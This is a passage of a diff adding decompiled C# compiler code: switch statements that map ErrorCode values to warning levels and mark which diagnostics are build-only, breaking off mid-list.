ErrorCode.WRN_GeneratorFailedDuringInitialization: + case ErrorCode.WRN_GeneratorFailedDuringGeneration: + case ErrorCode.WRN_GivenExpressionAlwaysMatchesPattern: + case ErrorCode.WRN_IsPatternAlways: + case ErrorCode.WRN_NullabilityMismatchInReturnTypeOnPartial: + case ErrorCode.WRN_ParameterNotNullIfNotNull: + case ErrorCode.WRN_ReturnNotNullIfNotNull: + case ErrorCode.WRN_SwitchExpressionNotExhaustiveWithWhen: + case ErrorCode.WRN_SwitchExpressionNotExhaustiveForNullWithWhen: + case ErrorCode.WRN_AnalyzerReferencesFramework: + case ErrorCode.WRN_RecordNamedDisallowed: + goto IL_0dd8; + default: + goto IL_0dda; + } + } + else + { + switch (code) + { + case ErrorCode.WRN_AddressOfInAsync: + case ErrorCode.WRN_ByValArraySizeConstRequired: + return 8; + case ErrorCode.WRN_LowerCaseTypeName: + return 7; + case ErrorCode.WRN_UnassignedThisAutoPropertyUnsupportedVersion: + case ErrorCode.WRN_UnassignedThisUnsupportedVersion: + case ErrorCode.WRN_ParamUnassigned: + case ErrorCode.WRN_UseDefViolationProperty: + case ErrorCode.WRN_UseDefViolationField: + case ErrorCode.WRN_UseDefViolationThisUnsupportedVersion: + case ErrorCode.WRN_UseDefViolationOut: + case ErrorCode.WRN_UseDefViolation: + case ErrorCode.WRN_SyncAndAsyncEntryPoints: + case ErrorCode.WRN_ParameterIsStaticClass: + case ErrorCode.WRN_ReturnTypeIsStaticClass: + case ErrorCode.WRN_UseDefViolationPropertyUnsupportedVersion: + case ErrorCode.WRN_UseDefViolationFieldUnsupportedVersion: + break; + case ErrorCode.WRN_UnreadRecordParameter: + case ErrorCode.WRN_DoNotCompareFunctionPointers: + case ErrorCode.WRN_ParameterOccursAfterInterpolatedStringHandlerParameter: + case ErrorCode.WRN_CallerLineNumberPreferredOverCallerArgumentExpression: + case ErrorCode.WRN_CallerFilePathPreferredOverCallerArgumentExpression: + case ErrorCode.WRN_CallerMemberNamePreferredOverCallerArgumentExpression: + case ErrorCode.WRN_CallerArgumentExpressionAttributeHasInvalidParameterName: + case ErrorCode.WRN_CallerArgumentExpressionAttributeSelfReferential: + case ErrorCode.WRN_CallerArgumentExpressionParamForUnconsumedLocation: + case ErrorCode.WRN_InterpolatedStringHandlerArgumentAttributeIgnoredOnLambdaParameters: + case ErrorCode.WRN_CompileTimeCheckedOverflow: + case ErrorCode.WRN_MethGrpToNonDel: + case ErrorCode.WRN_UseDefViolationPropertySupportedVersion: + case ErrorCode.WRN_UseDefViolationFieldSupportedVersion: + case ErrorCode.WRN_UseDefViolationThisSupportedVersion: + case ErrorCode.WRN_UnassignedThisAutoPropertySupportedVersion: + case ErrorCode.WRN_UnassignedThisSupportedVersion: + case ErrorCode.WRN_ObsoleteMembersShouldNotBeRequired: + case ErrorCode.WRN_AnalyzerReferencesNewerCompiler: + case ErrorCode.WRN_DuplicateAnalyzerReference: + case ErrorCode.WRN_ScopedMismatchInParameterOfTarget: + case ErrorCode.WRN_ScopedMismatchInParameterOfOverrideOrImplementation: + case ErrorCode.WRN_EscapeVariable: + case ErrorCode.WRN_EscapeStackAlloc: + case ErrorCode.WRN_RefReturnNonreturnableLocal: + case ErrorCode.WRN_RefReturnNonreturnableLocal2: + case ErrorCode.WRN_RefReturnStructThis: + case ErrorCode.WRN_RefAssignNarrower: + case ErrorCode.WRN_MismatchedRefEscapeInTernary: + case ErrorCode.WRN_RefReturnParameter: + case ErrorCode.WRN_RefReturnScopedParameter: + case ErrorCode.WRN_RefReturnParameter2: + case ErrorCode.WRN_RefReturnScopedParameter2: + case ErrorCode.WRN_RefReturnLocal: + case ErrorCode.WRN_RefReturnLocal2: + case ErrorCode.WRN_RefAssignReturnOnly: + case ErrorCode.WRN_RefReturnOnlyParameter: + case ErrorCode.WRN_RefReturnOnlyParameter2: + case ErrorCode.WRN_RefAssignValEscapeWider: + case ErrorCode.WRN_OptionalParamValueMismatch: + case ErrorCode.WRN_ParamsArrayInLambdaOnly: + case ErrorCode.WRN_CapturedPrimaryConstructorParameterPassedToBase: + case ErrorCode.WRN_UnreadPrimaryConstructorParameter: + case ErrorCode.WRN_CapturedPrimaryConstructorParameterInFieldInitializer: + case ErrorCode.WRN_InterceptorSignatureMismatch: + case ErrorCode.WRN_NullabilityMismatchInReturnTypeOnInterceptor: + case ErrorCode.WRN_NullabilityMismatchInParameterTypeOnInterceptor: + case ErrorCode.WRN_PrimaryConstructorParameterIsShadowedAndNotPassedToBase: + case ErrorCode.WRN_InlineArrayIndexerNotUsed: + case ErrorCode.WRN_InlineArraySliceNotUsed: + case ErrorCode.WRN_InlineArrayConversionOperatorNotUsed: + case ErrorCode.WRN_InlineArrayNotSupportedByLanguage: + case ErrorCode.WRN_BadArgRef: + case ErrorCode.WRN_ArgExpectedRefOrIn: + case ErrorCode.WRN_RefReadonlyNotVariable: + case ErrorCode.WRN_ArgExpectedIn: + case ErrorCode.WRN_OverridingDifferentRefness: + case ErrorCode.WRN_HidingDifferentRefness: + case ErrorCode.WRN_TargetDifferentRefness: + case ErrorCode.WRN_RefReadonlyParameterDefaultValue: + case ErrorCode.WRN_UseDefViolationRefField: + case ErrorCode.WRN_Experimental: + goto IL_0dd8; + default: + goto IL_0dda; + } + } + return 5; + IL_0dda: + return 0; + IL_0dd6: + return 2; + IL_0dd2: + return 4; + IL_0dd8: + return 1; + IL_0dd4: + return 3; + } + + internal static bool IsBuildOnlyDiagnostic(ErrorCode code) + { + if (code <= ErrorCode.FTL_BadChecksumAlgorithm) + { + switch (code) + { + default: + switch (code) + { + default: + switch (code) + { + case ErrorCode.WRN_CLS_NoVarArgs: + case ErrorCode.WRN_CLS_BadArgType: + case ErrorCode.WRN_CLS_BadReturnType: + case ErrorCode.WRN_CLS_BadFieldPropType: + case ErrorCode.WRN_CLS_BadIdentifierCase: + case ErrorCode.WRN_CLS_OverloadRefOut: + case ErrorCode.WRN_CLS_OverloadUnnamed: + case ErrorCode.WRN_CLS_BadIdentifier: + case ErrorCode.WRN_CLS_BadBase: + case ErrorCode.WRN_CLS_BadInterfaceMember: + case ErrorCode.WRN_CLS_NoAbstractMembers: + case ErrorCode.WRN_CLS_NotOnModules: + case ErrorCode.WRN_CLS_ModuleMissingCLS: + case ErrorCode.WRN_CLS_AssemblyNotCLS: + case ErrorCode.WRN_CLS_BadAttributeType: + case ErrorCode.WRN_CLS_ArrayArgumentToAttribute: + case ErrorCode.WRN_CLS_NotOnModules2: + case ErrorCode.WRN_CLS_IllegalTrueInFalse: + case ErrorCode.WRN_CLS_MeaninglessOnPrivateType: + case ErrorCode.WRN_CLS_AssemblyNotCLS2: + case ErrorCode.WRN_CLS_MeaninglessOnParam: + case ErrorCode.WRN_CLS_MeaninglessOnReturn: + case ErrorCode.WRN_CLS_BadTypeVar: + case ErrorCode.WRN_CLS_VolatileField: + case ErrorCode.WRN_CLS_BadInterface: + case ErrorCode.FTL_BadChecksumAlgorithm: + break; + default: + goto IL_2ffa; + } + goto IL_2ff8; + case ErrorCode.ERR_MainClassNotFound: + case ErrorCode.ERR_MainClassNotClass: + case ErrorCode.ERR_NoMainInClass: + case ErrorCode.WRN_ALinkWarn: + case ErrorCode.ERR_DynamicRequiredTypesMissing: + break; + case ErrorCode.ERR_BadArgCount: + case ErrorCode.ERR_BadArgType: + case ErrorCode.ERR_NoSourceFile: + case ErrorCode.ERR_CantRefResource: + case ErrorCode.ERR_ResourceNotUnique: + case ErrorCode.ERR_ImportNonAssembly: + case ErrorCode.ERR_RefLvalueExpected: + case ErrorCode.ERR_BaseInStaticMeth: + case ErrorCode.ERR_BaseInBadContext: + case ErrorCode.ERR_RbraceExpected: + case ErrorCode.ERR_LbraceExpected: + case ErrorCode.ERR_InExpected: + case ErrorCode.ERR_InvalidPreprocExpr: + case ErrorCode.ERR_InvalidMemberDecl: + case ErrorCode.ERR_MemberNeedsType: + case ErrorCode.ERR_BadBaseType: + case ErrorCode.WRN_EmptySwitch: + case ErrorCode.ERR_ExpectedEndTry: + case ErrorCode.ERR_InvalidExprTerm: + case ErrorCode.ERR_BadNewExpr: + case ErrorCode.ERR_NoNamespacePrivate: + case ErrorCode.ERR_BadVarDecl: + case ErrorCode.ERR_UsingAfterElements: + case ErrorCode.ERR_BadBinOpArgs: + case ErrorCode.ERR_BadUnOpArgs: + case ErrorCode.ERR_NoVoidParameter: + case ErrorCode.ERR_DuplicateAlias: + case ErrorCode.ERR_BadProtectedAccess: + case ErrorCode.ERR_AddModuleAssembly: + case ErrorCode.ERR_BindToBogusProp2: + case ErrorCode.ERR_BindToBogusProp1: + case ErrorCode.ERR_NoVoidHere: + case ErrorCode.ERR_IndexerNeedsParam: + case ErrorCode.ERR_BadArraySyntax: + case ErrorCode.ERR_BadOperatorSyntax: + case ErrorCode.ERR_OutputNeedsName: + case ErrorCode.ERR_CantHaveWin32ResAndManifest: + case ErrorCode.ERR_CantHaveWin32ResAndIcon: + case ErrorCode.ERR_CantReadResource: + case ErrorCode.ERR_DocFileGen: + case ErrorCode.WRN_XMLParseError: + case ErrorCode.WRN_DuplicateParamTag: + case ErrorCode.WRN_UnmatchedParamTag: + case ErrorCode.WRN_MissingParamTag: + case ErrorCode.WRN_BadXMLRef: + case ErrorCode.ERR_BadStackAllocExpr: + case ErrorCode.ERR_InvalidLineNumber: + case ErrorCode.ERR_MissingPPFile: + case ErrorCode.ERR_ForEachMissingMember: + case ErrorCode.WRN_BadXMLRefParamType: + case ErrorCode.WRN_BadXMLRefReturnType: + case ErrorCode.ERR_BadWin32Res: + case ErrorCode.WRN_BadXMLRefSyntax: + case ErrorCode.ERR_BadModifierLocation: + case ErrorCode.ERR_MissingArraySize: + case ErrorCode.WRN_UnprocessedXMLComment: + case ErrorCode.WRN_FailedInclude: + case ErrorCode.WRN_InvalidInclude: + case ErrorCode.WRN_MissingXMLComment: + case ErrorCode.WRN_XMLParseIncludeError: + case ErrorCode.ERR_BadDelArgCount: + case ErrorCode.ERR_UnexpectedSemicolon: + case ErrorCode.ERR_MethodReturnCantBeRefAny: + case ErrorCode.ERR_CompileCancelled: + case ErrorCode.ERR_MethodArgCantBeRefAny: + case ErrorCode.ERR_AssgReadonlyLocal: + case ErrorCode.ERR_RefReadonlyLocal: + case ErrorCode.ERR_CantUseRequiredAttribute: + case ErrorCode.ERR_NoModifiersOnAccessor: + case ErrorCode.ERR_ParamsCantBeWithModifier: + case ErrorCode.ERR_ReturnNotLValue: + case ErrorCode.ERR_MissingCoClass: + case ErrorCode.ERR_AmbiguousAttribute: + case ErrorCode.ERR_BadArgExtraRef: + case ErrorCode.WRN_CmdOptionConflictsSource: + case ErrorCode.ERR_BadCompatMode: + case ErrorCode.ERR_DelegateOnConditional: + case ErrorCode.ERR_CantMakeTempFile: + case ErrorCode.ERR_BadArgRef: + case ErrorCode.ERR_YieldInAnonMeth: + case ErrorCode.ERR_ReturnInIterator: + case ErrorCode.ERR_BadIteratorArgType: + case ErrorCode.ERR_BadIteratorReturn: + case ErrorCode.ERR_BadYieldInFinally: + case ErrorCode.ERR_BadYieldInTryOfCatch: + case ErrorCode.ERR_EmptyYield: + case ErrorCode.ERR_AnonDelegateCantUse: + case ErrorCode.ERR_IllegalInnerUnsafe: + case ErrorCode.ERR_BadYieldInCatch: + case ErrorCode.ERR_BadDelegateLeave: + case ErrorCode.WRN_IllegalPragma: + case ErrorCode.WRN_IllegalPPWarning: + case ErrorCode.WRN_BadRestoreNumber: + case ErrorCode.ERR_VarargsIterator: + case ErrorCode.ERR_UnsafeIteratorArgType: + case ErrorCode.ERR_BadCoClassSig: + case ErrorCode.ERR_MultipleIEnumOfT: + case ErrorCode.ERR_FixedDimsRequired: + case ErrorCode.ERR_FixedNotInStruct: + case ErrorCode.ERR_AnonymousReturnExpected: + case ErrorCode.WRN_NonECMAFeature: + case ErrorCode.ERR_ExpectedVerbatimLiteral: + case ErrorCode.ERR_AssgReadonly2: + case ErrorCode.ERR_RefReadonly2: + case ErrorCode.ERR_AssgReadonlyStatic2: + case ErrorCode.ERR_RefReadonlyStatic2: + case ErrorCode.ERR_AssgReadonlyLocal2Cause: + case ErrorCode.ERR_RefReadonlyLocal2Cause: + case ErrorCode.ERR_AssgReadonlyLocalCause: + case ErrorCode.ERR_RefReadonlyLocalCause: + case ErrorCode.WRN_ErrorOverride: + case ErrorCode.ERR_AnonMethToNonDel: + case ErrorCode.ERR_CantConvAnonMethParams: + case ErrorCode.ERR_CantConvAnonMethReturns: + case ErrorCode.ERR_IllegalFixedType: + case ErrorCode.ERR_FixedOverflow: + case ErrorCode.ERR_InvalidFixedArraySize: + case ErrorCode.ERR_FixedBufferNotFixed: + case ErrorCode.ERR_AttributeNotOnAccessor: + case ErrorCode.WRN_InvalidSearchPathDir: + case ErrorCode.ERR_IllegalVarArgs: + case ErrorCode.ERR_IllegalParams: + case ErrorCode.ERR_BadModifiersOnNamespace: + case ErrorCode.ERR_BadPlatformType: + case ErrorCode.ERR_ThisStructNotInAnonMeth: + case ErrorCode.ERR_NoConvToIDisp: + case ErrorCode.ERR_BadParamRef: + case ErrorCode.ERR_BadParamExtraRef: + case ErrorCode.ERR_BadParamType: + case ErrorCode.ERR_BadExternIdentifier: + case ErrorCode.ERR_AliasMissingFile: + case ErrorCode.ERR_GlobalExternAlias: + case ErrorCode.WRN_MultiplePredefTypes: + case ErrorCode.ERR_LocalCantBeFixedAndHoisted: + case ErrorCode.WRN_TooManyLinesForDebugger: + case ErrorCode.ERR_CantConvAnonMethNoParams: + case ErrorCode.ERR_ConditionalOnNonAttributeClass: + case ErrorCode.WRN_CallOnNonAgileField: + case ErrorCode.WRN_InvalidNumber: + case ErrorCode.WRN_IllegalPPChecksum: + case ErrorCode.WRN_EndOfPPLineExpected: + case ErrorCode.WRN_ConflictingChecksum: + case ErrorCode.WRN_InvalidAssemblyName: + case ErrorCode.WRN_UnifyReferenceMajMin: + case ErrorCode.WRN_UnifyReferenceBldRev: + case ErrorCode.ERR_DuplicateImport: + case ErrorCode.ERR_DuplicateImportSimple: + case ErrorCode.ERR_AssemblyMatchBadVersion: + case ErrorCode.ERR_FixedNeedsLvalue: + case ErrorCode.WRN_DuplicateTypeParamTag: + case ErrorCode.WRN_UnmatchedTypeParamTag: + case ErrorCode.WRN_MissingTypeParamTag: + case ErrorCode.ERR_CantChangeTypeOnOverride: + case ErrorCode.ERR_DoNotUseFixedBufferAttr: + case ErrorCode.WRN_AssignmentToSelf: + case ErrorCode.WRN_ComparisonToSelf: + case ErrorCode.ERR_CantOpenWin32Res: + case ErrorCode.WRN_DotOnDefault: + case ErrorCode.ERR_NoMultipleInheritance: + case ErrorCode.ERR_BaseClassMustBeFirst: + case ErrorCode.WRN_BadXMLRefTypeVar: + case ErrorCode.ERR_FriendAssemblyBadArgs: + case ErrorCode.ERR_FriendAssemblySNReq: + case ErrorCode.ERR_DelegateOnNullable: + case ErrorCode.ERR_BadCtorArgCount: + case ErrorCode.ERR_GlobalAttributesNotFirst: + case ErrorCode.ERR_ExpressionExpected: + case ErrorCode.WRN_UnmatchedParamRefTag: + case ErrorCode.WRN_UnmatchedTypeParamRefTag: + case ErrorCode.ERR_DefaultValueMustBeConstant: + case ErrorCode.ERR_DefaultValueBeforeRequiredValue: + case ErrorCode.ERR_NamedArgumentSpecificationBeforeFixedArgument: + case ErrorCode.ERR_BadNamedArgument: + case ErrorCode.ERR_DuplicateNamedArgument: + case ErrorCode.ERR_RefOutDefaultValue: + case ErrorCode.ERR_NamedArgumentForArray: + case ErrorCode.ERR_DefaultValueForExtensionParameter: + case ErrorCode.ERR_NamedArgumentUsedInPositional: + case ErrorCode.ERR_DefaultValueUsedWithAttributes: + case ErrorCode.ERR_BadNamedArgumentForDelegateInvoke: + case ErrorCode.ERR_NoPIAAssemblyMissingAttribute: + case ErrorCode.ERR_NoCanonicalView: + case ErrorCode.ERR_NoConversionForDefaultParam: + case ErrorCode.ERR_DefaultValueForParamsParameter: + case ErrorCode.ERR_NewCoClassOnLink: + case ErrorCode.ERR_NoPIANestedType: + case ErrorCode.ERR_InteropTypeMissingAttribute: + case ErrorCode.ERR_InteropStructContainsMethods: + case ErrorCode.ERR_InteropTypesWithSameNameAndGuid: + case ErrorCode.ERR_NoPIAAssemblyMissingAttributes: + case ErrorCode.ERR_AssemblySpecifiedForLinkAndRef: + case ErrorCode.ERR_LocalTypeNameClash: + case ErrorCode.WRN_ReferencedAssemblyReferencesLinkedPIA: + case ErrorCode.ERR_NotNullRefDefaultParameter: + case ErrorCode.ERR_FixedLocalInLambda: + case ErrorCode.ERR_MissingMethodOnSourceInterface: + case ErrorCode.ERR_MissingSourceInterface: + case ErrorCode.ERR_GenericsUsedInNoPIAType: + case ErrorCode.ERR_GenericsUsedAcrossAssemblies: + case ErrorCode.ERR_NoConversionForNubDefaultParam: + case ErrorCode.ERR_InvalidSubsystemVersion: + case ErrorCode.ERR_InteropMethodWithBody: + case ErrorCode.ERR_BadWarningLevel: + case ErrorCode.ERR_BadDebugType: + case ErrorCode.ERR_BadResourceVis: + case ErrorCode.ERR_DefaultValueTypeMustMatch: + case ErrorCode.ERR_DefaultValueBadValueType: + case ErrorCode.ERR_MemberAlreadyInitialized: + case ErrorCode.ERR_MemberCannotBeInitialized: + case ErrorCode.ERR_StaticMemberInObjectInitializer: + case ErrorCode.ERR_ReadonlyValueTypeInObjectInitializer: + case ErrorCode.ERR_ValueTypePropertyInObjectInitializer: + case ErrorCode.ERR_UnsafeTypeInObjectCreation: + case ErrorCode.ERR_EmptyElementInitializer: + case ErrorCode.ERR_InitializerAddHasWrongSignature: + case ErrorCode.ERR_CollectionInitRequiresIEnumerable: + case ErrorCode.ERR_CantOpenWin32Manifest: + case ErrorCode.WRN_CantHaveManifestForModule: + case ErrorCode.ERR_BadInstanceArgType: + case ErrorCode.ERR_QueryDuplicateRangeVariable: + case ErrorCode.ERR_QueryRangeVariableOverrides: + case ErrorCode.ERR_QueryRangeVariableAssignedBadValue: + case ErrorCode.ERR_QueryNoProviderCastable: + case ErrorCode.ERR_QueryNoProviderStandard: + case ErrorCode.ERR_QueryNoProvider: + case ErrorCode.ERR_QueryOuterKey: + case ErrorCode.ERR_QueryInnerKey: + case ErrorCode.ERR_QueryOutRefRangeVariable: + case ErrorCode.ERR_QueryMultipleProviders: + case ErrorCode.ERR_QueryTypeInferenceFailedMulti: + case ErrorCode.ERR_QueryTypeInferenceFailed: + case ErrorCode.ERR_QueryTypeInferenceFailedSelectMany: + case ErrorCode.ERR_ExpressionTreeContainsPointerOp: + case ErrorCode.ERR_ExpressionTreeContainsAnonymousMethod: + case ErrorCode.ERR_AnonymousMethodToExpressionTree: + case ErrorCode.ERR_QueryRangeVariableReadOnly: + case ErrorCode.ERR_QueryRangeVariableSameAsTypeParam: + case ErrorCode.ERR_TypeVarNotFoundRangeVariable: + case ErrorCode.ERR_BadArgTypesForCollectionAdd: + case ErrorCode.ERR_ByRefParameterInExpressionTree: + case ErrorCode.ERR_VarArgsInExpressionTree: + case ErrorCode.ERR_InitializerAddHasParamModifiers: + case ErrorCode.ERR_NonInvocableMemberCalled: + case ErrorCode.WRN_MultipleRuntimeImplementationMatches: + case ErrorCode.WRN_MultipleRuntimeOverrideMatches: + case ErrorCode.ERR_ObjectOrCollectionInitializerWithDelegateCreation: + case ErrorCode.ERR_InvalidConstantDeclarationType: + case ErrorCode.ERR_IllegalVarianceSyntax: + case ErrorCode.ERR_UnexpectedVariance: + case ErrorCode.ERR_BadDynamicTypeof: + case ErrorCode.ERR_ExpressionTreeContainsDynamicOperation: + case ErrorCode.ERR_BadDynamicConversion: + case ErrorCode.ERR_DeriveFromDynamic: + case ErrorCode.ERR_DeriveFromConstructedDynamic: + case ErrorCode.ERR_DynamicTypeAsBound: + case ErrorCode.ERR_ConstructedDynamicTypeAsBound: + case ErrorCode.ERR_ExplicitDynamicAttr: + case ErrorCode.ERR_NoDynamicPhantomOnBase: + case ErrorCode.ERR_NoDynamicPhantomOnBaseIndexer: + case ErrorCode.ERR_BadArgTypeDynamicExtension: + case ErrorCode.WRN_DynamicDispatchToConditionalMethod: + case ErrorCode.ERR_NoDynamicPhantomOnBaseCtor: + case ErrorCode.ERR_BadDynamicMethodArgMemgrp: + case ErrorCode.ERR_BadDynamicMethodArgLambda: + case ErrorCode.ERR_BadDynamicMethodArg: + case ErrorCode.ERR_BadDynamicQuery: + case ErrorCode.ERR_DynamicAttributeMissing: + case ErrorCode.WRN_IsDynamicIsConfusing: + case ErrorCode.ERR_BadAsyncReturn: + case ErrorCode.ERR_BadAwaitInFinally: + case ErrorCode.ERR_BadAwaitInCatch: + case ErrorCode.ERR_BadAwaitArg: + case ErrorCode.ERR_BadAsyncArgType: + case ErrorCode.ERR_BadAsyncExpressionTree: + case ErrorCode.ERR_MixingWinRTEventWithRegular: + case ErrorCode.ERR_BadAwaitWithoutAsync: + case ErrorCode.ERR_BadAsyncLacksBody: + case ErrorCode.ERR_BadAwaitInQuery: + case ErrorCode.ERR_BadAwaitInLock: + case ErrorCode.ERR_TaskRetNoObjectRequired: + case ErrorCode.WRN_AsyncLacksAwaits: + case ErrorCode.ERR_FileNotFound: + case ErrorCode.WRN_FileAlreadyIncluded: + case ErrorCode.ERR_NoFileSpec: + case ErrorCode.ERR_SwitchNeedsString: + case ErrorCode.ERR_BadSwitch: + case ErrorCode.WRN_NoSources: + case ErrorCode.ERR_OpenResponseFile: + case ErrorCode.ERR_CantOpenFileWrite: + case ErrorCode.ERR_BadBaseNumber: + case ErrorCode.ERR_BinaryFile: + case ErrorCode.FTL_BadCodepage: + case ErrorCode.ERR_NoMainOnDLL: + case ErrorCode.FTL_InvalidTarget: + case ErrorCode.FTL_InvalidInputFileName: + case ErrorCode.WRN_NoConfigNotOnCommandLine: + case ErrorCode.ERR_InvalidFileAlignment: + case ErrorCode.WRN_DefineIdentifierRequired: + case ErrorCode.FTL_OutputFileExists: + case ErrorCode.ERR_OneAliasPerReference: + case ErrorCode.ERR_SwitchNeedsNumber: + case ErrorCode.ERR_MissingDebugSwitch: + case ErrorCode.ERR_ComRefCallInExpressionTree: + case ErrorCode.WRN_BadUILang: + case ErrorCode.ERR_InvalidFormatForGuidForOption: + case ErrorCode.ERR_MissingGuidForOption: + case ErrorCode.ERR_InvalidOutputName: + case ErrorCode.ERR_InvalidDebugInformationFormat: + case ErrorCode.ERR_LegacyObjectIdSyntax: + case ErrorCode.ERR_SourceLinkRequiresPdb: + case ErrorCode.ERR_CannotEmbedWithoutPdb: + case ErrorCode.ERR_BadSwitchValue: + goto IL_2ff8; + case (ErrorCode)1502: + case (ErrorCode)1505: + case (ErrorCode)1506: + case (ErrorCode)1516: + case (ErrorCode)1518: + case (ErrorCode)1523: + case (ErrorCode)1530: + case (ErrorCode)1531: + case (ErrorCode)1532: + case (ErrorCode)1533: + case (ErrorCode)1538: + case (ErrorCode)1539: + case (ErrorCode)1541: + case (ErrorCode)1543: + case (ErrorCode)1544: + case (ErrorCode)1548: + case (ErrorCode)1549: + case (ErrorCode)1550: + case (ErrorCode)1554: + case (ErrorCode)1557: + case (ErrorCode)1559: + case (ErrorCode)1560: + case (ErrorCode)1561: + case (ErrorCode)1563: + case (ErrorCode)1567: + case (ErrorCode)1568: + case (ErrorCode)1577: + case (ErrorCode)1582: + case (ErrorCode)1588: + case (ErrorCode)1594: + case (ErrorCode)1595: + case (ErrorCode)1596: + case (ErrorCode)1598: + case (ErrorCode)1602: + case (ErrorCode)1603: + case (ErrorCode)1606: + case (ErrorCode)1610: + case (ErrorCode)1630: + case (ErrorCode)1638: + case (ErrorCode)1644: + case (ErrorCode)1647: + case (ErrorCode)1652: + case (ErrorCode)1653: + case (ErrorCode)1659: + case (ErrorCode)1675: + case (ErrorCode)1682: + case (ErrorCode)1683: + case (ErrorCode)1684: + case (ErrorCode)1691: + case (ErrorCode)1693: + case (ErrorCode)1694: + case (ErrorCode)1698: + case (ErrorCode)1699: + case (ErrorCode)1706: + case (ErrorCode)1707: + case (ErrorCode)1709: + case (ErrorCode)1713: + case (ErrorCode)1714: + case (ErrorCode)1724: + case (ErrorCode)1727: + case (ErrorCode)1731: + case (ErrorCode)1732: + case (ErrorCode)1749: + case (ErrorCode)1753: + case (ErrorCode)1755: + case (ErrorCode)1765: + case (ErrorCode)1771: + case (ErrorCode)1772: + case (ErrorCode)1775: + case (ErrorCode)1776: + case (ErrorCode)1777: + case (ErrorCode)1778: + case (ErrorCode)1779: + case (ErrorCode)1780: + case (ErrorCode)1781: + case (ErrorCode)1782: + case (ErrorCode)1783: + case (ErrorCode)1784: + case (ErrorCode)1785: + case (ErrorCode)1786: + case (ErrorCode)1787: + case (ErrorCode)1788: + case (ErrorCode)1789: + case (ErrorCode)1790: + case (ErrorCode)1791: + case (ErrorCode)1792: + case (ErrorCode)1793: + case (ErrorCode)1794: + case (ErrorCode)1795: + case (ErrorCode)1796: + case (ErrorCode)1797: + case (ErrorCode)1798: + case (ErrorCode)1799: + case (ErrorCode)1800: + case (ErrorCode)1801: + case (ErrorCode)1802: + case (ErrorCode)1803: + case (ErrorCode)1804: + case (ErrorCode)1805: + case (ErrorCode)1806: + case (ErrorCode)1807: + case (ErrorCode)1808: + case (ErrorCode)1809: + case (ErrorCode)1810: + case (ErrorCode)1811: + case (ErrorCode)1812: + case (ErrorCode)1813: + case (ErrorCode)1814: + case (ErrorCode)1815: + case (ErrorCode)1816: + case (ErrorCode)1817: + case (ErrorCode)1818: + case (ErrorCode)1819: + case (ErrorCode)1820: + case (ErrorCode)1821: + case (ErrorCode)1822: + case (ErrorCode)1823: + case (ErrorCode)1824: + case (ErrorCode)1825: + case (ErrorCode)1826: + case (ErrorCode)1827: + case (ErrorCode)1828: + case (ErrorCode)1829: + case (ErrorCode)1830: + case (ErrorCode)1831: + case (ErrorCode)1832: + case (ErrorCode)1833: + case (ErrorCode)1834: + case (ErrorCode)1835: + case (ErrorCode)1836: + case (ErrorCode)1837: + case (ErrorCode)1838: + case (ErrorCode)1839: + case (ErrorCode)1840: + case (ErrorCode)1841: + case (ErrorCode)1842: + case (ErrorCode)1843: + case (ErrorCode)1844: + case (ErrorCode)1845: + case (ErrorCode)1846: + case (ErrorCode)1847: + case (ErrorCode)1848: + case (ErrorCode)1849: + case (ErrorCode)1850: + case (ErrorCode)1851: + case (ErrorCode)1852: + case (ErrorCode)1853: + case (ErrorCode)1854: + case (ErrorCode)1855: + case (ErrorCode)1856: + case (ErrorCode)1857: + case (ErrorCode)1858: + case (ErrorCode)1859: + case (ErrorCode)1860: + case (ErrorCode)1861: + case (ErrorCode)1862: + case (ErrorCode)1863: + case (ErrorCode)1864: + case (ErrorCode)1865: + case (ErrorCode)1866: + case (ErrorCode)1867: + case (ErrorCode)1868: + case (ErrorCode)1869: + case (ErrorCode)1870: + case (ErrorCode)1871: + case (ErrorCode)1872: + case (ErrorCode)1873: + case (ErrorCode)1874: + case (ErrorCode)1875: + case (ErrorCode)1876: + case (ErrorCode)1877: + case (ErrorCode)1878: + case (ErrorCode)1879: + case (ErrorCode)1880: + case (ErrorCode)1881: + case (ErrorCode)1882: + case (ErrorCode)1883: + case (ErrorCode)1884: + case (ErrorCode)1885: + case (ErrorCode)1886: + case (ErrorCode)1887: + case (ErrorCode)1888: + case (ErrorCode)1889: + case (ErrorCode)1890: + case (ErrorCode)1891: + case (ErrorCode)1892: + case (ErrorCode)1893: + case (ErrorCode)1894: + case (ErrorCode)1895: + case (ErrorCode)1896: + case (ErrorCode)1897: + case (ErrorCode)1898: + case (ErrorCode)1899: + case (ErrorCode)1901: + case (ErrorCode)1903: + case (ErrorCode)1904: + case (ErrorCode)1905: + case (ErrorCode)1907: + case (ErrorCode)1909: + case (ErrorCode)1911: + case (ErrorCode)1915: + case (ErrorCode)1916: + case (ErrorCode)1923: + case (ErrorCode)1924: + case (ErrorCode)1925: + case (ErrorCode)1928: + case (ErrorCode)1933: + case (ErrorCode)1953: + case (ErrorCode)1982: + case (ErrorCode)1987: + case (ErrorCode)1990: + case (ErrorCode)1993: + case (ErrorCode)1999: + case (ErrorCode)2000: + case (ErrorCode)2003: + case (ErrorCode)2004: + case (ErrorCode)2009: + case (ErrorCode)2010: + case (ErrorCode)2014: + case (ErrorCode)2018: + case (ErrorCode)2020: + case (ErrorCode)2022: + case (ErrorCode)2025: + case (ErrorCode)2026: + case (ErrorCode)2027: + case (ErrorCode)2028: + case (ErrorCode)2030: + case (ErrorCode)2031: + case (ErrorCode)2032: + goto IL_2ffa; + } + break; + case ErrorCode.ERR_MultipleEntryPoints: + case ErrorCode.WRN_InvalidMainSig: + case ErrorCode.WRN_UnreferencedEvent: + case ErrorCode.ERR_BadDelegateConstructor: + case ErrorCode.WRN_UnreferencedField: + case ErrorCode.ERR_TooManyLocals: + case ErrorCode.WRN_MainCantBeGeneric: + case ErrorCode.WRN_UnreferencedFieldAssg: + case ErrorCode.ERR_PredefinedTypeNotFound: + case ErrorCode.ERR_BindToBogus: + case ErrorCode.WRN_UnassignedInternalField: + case ErrorCode.ERR_MissingPredefinedMember: + break; + case ErrorCode.Void: + case ErrorCode.Unknown: + case ErrorCode.ERR_NoMetadataFile: + case ErrorCode.FTL_MetadataCantOpenFile: + case ErrorCode.ERR_NoTypeDef: + case ErrorCode.ERR_OutputWriteFailed: + case ErrorCode.ERR_BadBinaryOps: + case ErrorCode.ERR_IntDivByZero: + case ErrorCode.ERR_BadIndexLHS: + case ErrorCode.ERR_BadIndexCount: + case ErrorCode.ERR_BadUnaryOp: + case ErrorCode.ERR_ThisInStaticMeth: + case ErrorCode.ERR_ThisInBadContext: + case ErrorCode.ERR_NoImplicitConv: + case ErrorCode.ERR_NoExplicitConv: + case 